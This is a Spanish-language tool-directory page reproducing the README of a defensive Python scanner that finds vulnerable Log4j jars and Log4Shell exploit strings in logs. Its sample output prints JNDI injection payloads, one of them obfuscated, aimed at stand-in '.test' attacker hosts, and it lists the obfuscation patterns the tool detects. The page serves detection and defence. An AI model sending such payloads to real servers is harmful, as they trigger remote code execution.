Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-scanner — Escáner ligero que detecta versiones vulnerables de Log4j e indicadores de Log4Shell (CVE-2021-44228) en un árbol de sistema de archivos. | Kitploit
Herramientas/GitHubGitHub/arpitgupta369/log4shell-scanner
Herramientas DefensivasEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesSeguridad de Cadena de SuministroAprendizaje y EducaciónAnálisis de Registros
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Escáner ligero que detecta versiones vulnerables de Log4j e indicadores de Log4Shell (CVE-2021-44228) en un árbol de sistema de archivos.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
16hace 1 mesAún no revisado
Compartir

log4shell-scanner

Un escáner defensivo sin dependencias para Log4Shell: encuentra archivos jar de log4j-core vulnerables y patrones de explotación JNDI en registros y configuración.

Por qué este proyecto

Durante mi rotación en CERT-In trabajé en identificación de amenazas, contención, remediación y búsqueda de amenazas, exactamente el flujo de trabajo que Log4Shell (CVE-2021-44228) exigió a gran escala en diciembre de 2021: encontrar cada artefacto vulnerable de log4j-core en toda una flota, y buscar en registros intentos de explotación ${jndi:...}. Este escáner reconstruye ese flujo de trabajo defensivo en un único script Python portátil de biblioteca estándar que no necesita nada instalado en el host que inspecciona.

Características

  • Descubrimiento de archivos comprimidos — recorre un árbol de directorios en busca de archivos .jar / .war / .ear.
  • Detección autoritativa de versiones — lee y desde el interior de cada archivo comprimido con , recurriendo al nombre del archivo; distingue el log4j-core real de otros jars no relacionados.
pom.properties
MANIFEST.MF
zipfile
  • Marcado de CVEs en toda la familia Log4Shell:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (parche incompleto) — hasta 2.15.0
    • CVE-2021-45105 (DoS) — hasta 2.16.0
  • Búsqueda de patrones de explotación — examina logs/config/source en busca de ${jndi:ldap:// y ofuscaciones comunes (${${lower:j}ndi:…}, separado por llaves j}ndi:, ${::-j}).
  • Remediación procesable — actualizar a 2.17.1+, o eliminar JndiLookup.class, más orientación para monitoreo de salida.
  • Árbol de muestra empaquetado con un log4j-core-2.14.1.jar vulnerable falso (zip real que contiene un pom.properties de log4j-core), un 2.17.1.jar parcheado, un jar no relacionado y un registro con payloads JNDI.
  • --demo construye y escanea el árbol de muestra de principio a fin.
  • Pura biblioteca estándar de Python (os, re, zipfile). Sin dependencias.
  • Stack tecnológico

    Python 3 (solo biblioteca estándar: argparse, os, re, zipfile).

    Instalación

    root@kitploit:~
    git clone https://github.com/arpitgupta369/log4shell-scanner.git
    cd log4shell-scanner
    python --version   # Python 3.8+
    # no dependencies to install
    

    Uso

    Ejecuta la demo contra el árbol de muestra empaquetado:

    root@kitploit:~
    python log4shell_scan.py --demo
    

    Salida esperada (resumida):

    root@kitploit:~
    --- Archives (log4j-core detection) ---
      [ok]         .../commons-lang3-3.12.0.jar
            version: unknown   (via no log4j-core detected)
      [VULNERABLE] .../log4j-core-2.14.1.jar
            version: 2.14.1   (via pom.properties (...))
            !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
            !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
            !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
      [ok]         .../log4j-core-2.17.1.jar
            version: 2.17.1   (via pom.properties (...))
    
    --- Exploit-pattern matches (JNDI payloads in text/logs) ---
      [MATCH] .../access.log (2 hit(s))
            L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
            L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
    
    --- Summary ---
      Vulnerable archives:      1
      Files with JNDI patterns: 1
    

    Escanee cualquier directorio que esté autorizado a evaluar:

    root@kitploit:~
    python log4shell_scan.py /path/to/deployed/app
    

    El código de salida del proceso es 1 cuando se encuentra algo vulnerable o sospechoso, 0 cuando está limpio — conveniente para CI/pipeline gating.

    Reconstruya el árbol de muestra en cualquier momento:

    root@kitploit:~
    python log4shell_scan.py --build-samples
    

    Estructura del proyecto

    root@kitploit:~
    log4shell-scanner/
    ├── log4shell_scan.py      # scanner + sample-tree builder + CLI
    ├── samples/
    │   └── app/
    │       ├── libs/
    │       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
    │       │   ├── log4j-core-2.17.1.jar     # patched jar
    │       │   └── commons-lang3-3.12.0.jar  # unrelated jar
    │       ├── logs/
    │       │   └── access.log                # contains JNDI payloads
    │       └── config.properties             # benign (should not match)
    ├── README.md
    ├── LICENSE
    └── .gitignore
    

    Descargo de responsabilidad

    Para uso educativo, defensivo y autorizado únicamente. Ejecútelo solo contra sistemas y artefactos en los que tenga permiso para evaluar. El escáner solo lee y compara patrones — nunca ejecuta ni explota nada. Los archivos jar de muestra empaquetados son marcadores de posición fabricados, no artefactos genuinos de Apache, y todos los nombres de host de payloads utilizan nombres .test no enrutables. Las asignaciones de versión a CVE se proporcionan como orientación; verifique con los avisos de seguridad oficiales de CVE y Apache Log4j.


    Desarrollado por Arpit Gupta — LinkedIn · GitHub

    Descargar herramienta